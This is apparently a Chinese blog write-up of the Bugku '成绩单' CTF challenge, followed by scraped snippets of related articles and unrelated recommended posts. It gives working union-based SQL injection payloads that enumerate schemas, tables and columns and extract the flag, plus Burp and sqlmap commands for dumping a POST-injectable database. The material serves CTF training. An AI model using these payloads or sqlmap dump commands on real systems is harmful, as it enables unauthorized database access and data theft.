bugku-成绩单 题目地址

手工注入:

①看到题目,分别提交1,2,3,出现不同的成绩单,可见参数我们是可以控制,通过POST的方式。

②我们尝试输入1 and 1=1#1 and 1=2#发现不报错,应该不是数字型注入。我们输入1',报错,这个数字(id)被'保护起来了。猜测SQL语句:~~~~where id ='$id';我们继续输入1' and 1=1#;和1' and 1=2#,发现前边没错,后边的错了,到了这里 注入点就找到了。

顺便获取有几个显示位。

到5报错,说明有四个可能回显的位置。

union select 1,2,3,4#

四个位置全部可以回显查询的内容。

③查找所有的数据库,输入-1' union select 1,2,3,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#

获得了所有数据库,不过肯定是普通用户,还是只有查看的权限。查询下user()

④查找skctf_flag下的表。-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

⑤查看fl4g下的列名。-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

⑥ 查看skctf_flag下的内容。-1' union select 1,2,3,skctf_flag from skctf_flag.fl4g#

SQLMAP跑:

①首先,开burp截包。

②输入1,提交。

可以看见,burp已经把id获取到了

copy to file,保存为txt文件。


把这个txt放置到sqlmap的目录下边。

④打开sqlmap,shift+鼠标右键打开命令行。python sqlmap.py -r a.txt (a.txt如果没有放到sqlmap目录就用绝对路径)。

可以看到,存在的注入类型(union查询和基于时间的盲注)和payload和数据库类型和版本都给你报出来了。
然后剩下的参数就基本和跑get型注入差不多了。

⑤获取所有数据库。python sqlmap.py -r a.txt --dbs

⑥获取skctf_flag下所有的表。python sqlmap.py -r a.txt -D skctf_flag --tables

⑦获取fl4g下所有的列。python sqlmap.py -r a.txt -D skctf_flag -T fl4g --columns

⑧获取列skctf_flag下的内容。python sqlmap.py -r a.txt -D skctf_flag -T fl4g -C "skctf_flag" --dump

用sqlmap跑post型注入的更多相关文章

  1. Mysql报错型注入总结

    Mysql注入虽然是老生常谈的问题,但是工作中更多的是使用sqlmap等工具进行注入测试的,原理方面还是不是很清楚,所以这段时间主要是自己搭建环境在学手工注入,简单的将自己的学习做一个总结和记录.在常 ...

  2. sqlmap进阶篇—POST注入三种方法

    测试是否存在post注入 第一种方法 直接加--form让它自动加载表单 第二种方法 把form表单里面提交的内容复制出来,放到data中跑 第三种方法 先用burp suite抓包,把包的内容存到本 ...

  3. 阿里云提示:对输入参数id未进行正确类型转义,导致整型注入的发生

    类似以下提示: XXX.php中,对输入参数id未进行正确类型转义,导致整型注入的发生 解决办法: 找到对应文件:$id = $_GET['id']; 增加以下标红过滤: $id = $_GET['i ...

  4. 注入语句详解(get注入,cookie注入,搜索型注入等)

    注意:对于普通的get注入,如果是字符型,前加'   后加 and ''=' 拆半法 ###################################### and exists (select ...

  5. python使用sqlmap API检测SQL注入

    0x00前言: 大家都知道sqlmap是非常强大的sql注入工具,最近发现他有个sqlmap API,上网查了一下.发现这是 sqlmap的微端.(可以叫做sqlmap在线检测sql注入= =) 0x ...

  6. SQL数字型注入代码审计

    数字型注入 SQL注入攻击,简称注入攻击,是发生于应用程序与数据库层的安全漏洞. 简而言之,是在输入的字符串之中注入sql指定,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器 ...

  7. sqli-labs第一节 get-字符型注入

    https://blog.csdn.net/sherlock17/article/details/64454449   1.SQL注入漏洞的几种判断方法 ①http://www.heetian.com ...

  8. 【Pyhon】利用BurpSuite到SQLMap批量测试SQL注入

    前言 通过Python脚本把Burp的HTTP请求提取出来交给SQLMap批量测试,提升找大门户网站SQL注入点的效率. 导出Burp的请求包 配置到Burp的代理后浏览门户站点,Burp会将URL纪 ...

  9. 数据库其他注入思路 - 万能密码 - cookie注入 -搜索型注入

    另类登录注入形式: 经常有一类验证(ASP,PHP,JSP均存在),先判断user是否存在,ASP为例子:"select password from admin where user_nam ...

随机推荐

  1. 测试MS题

    购物车测试点:  1.界面测试        界面布局.排版是否合理:文字是否显示清晰:不同卖家的商品是否区分明显. 2.功能测试 未登录时: 将商品加入购物车,页面跳转到登录页面,登录成功后购物车数 ...

  2. frombuffer的用法

    函数原型为:numpy.ma.frombuffer(buffer, dtype=float, count=-1, offset=0) import numpy s = 'hello world' pr ...

  3. 重学css3(概览)

    css3新特性概览: 1.强大的选择器 2.半透明度效果的实现 3.多栏布局 4.多背景图 5.文字阴影 6.开放字体类型 7.圆角 8.边框图片 9.盒子阴影 10.媒体查询 浏览器内核又可以分成两 ...

  4. Java代码工具箱之链接Oracle

    1. 需要oracle的 odbc  jar包 2. 代码 3. 注意:ps对象和statement对象最好用完立即释放,尤其是读写数据库代码出现在 for 循环语句中时. 否则会出现游标不够的情况, ...

  5. css中让元素隐藏的多种方法

    { display: none; /* 不占据空间,无法点击 / } { visibility: hidden; / 占据空间,无法点击 / } { position: absolute; top: ...

  6. 爬虫学习(八)——带cookie的网页进行爬取

    # 前提:# # 通常,很多网站需要登录才能进行浏览,所以在爬取这些网站时,也需要进行登录,并拿取登录时的cookie# # 登录网页,服务器会给客户端一个牌子cookie# # 访问登录页面时,带着 ...

  7. 二十八、MySQL 元数据

    MySQL 元数据 你可能想知道MySQL以下三种信息: 查询结果信息: SELECT, UPDATE 或 DELETE语句影响的记录数. 数据库和数据表的信息: 包含了数据库及数据表的结构信息. M ...

  8. pyhon之99乘法表

    1.长方形完整格式 for i in range(1,10): for j in range(1,10): print("%d*%d" %(j,i),end=" &quo ...

  9. linux三剑客之sed深度实践

    参数: -a:追加文本到指定行后 -i:插入文本到指定行前 1.单行增加 [root@redhat~]#   sed  ' 2a  6,f '  linux.tet 1,a 2,b 6,f 3,c 4 ...

  10. 常用的几个JQuery代码片段

    1. 导航菜单背景切换效果 在项目的前端页面里,相对于其它的导航菜单,激活的导航菜单需要设置不同的背景.这种效果实现的方式有很多种,下面是使用JQuery实现的一种方式: //注意:代码需要修饰完善 ...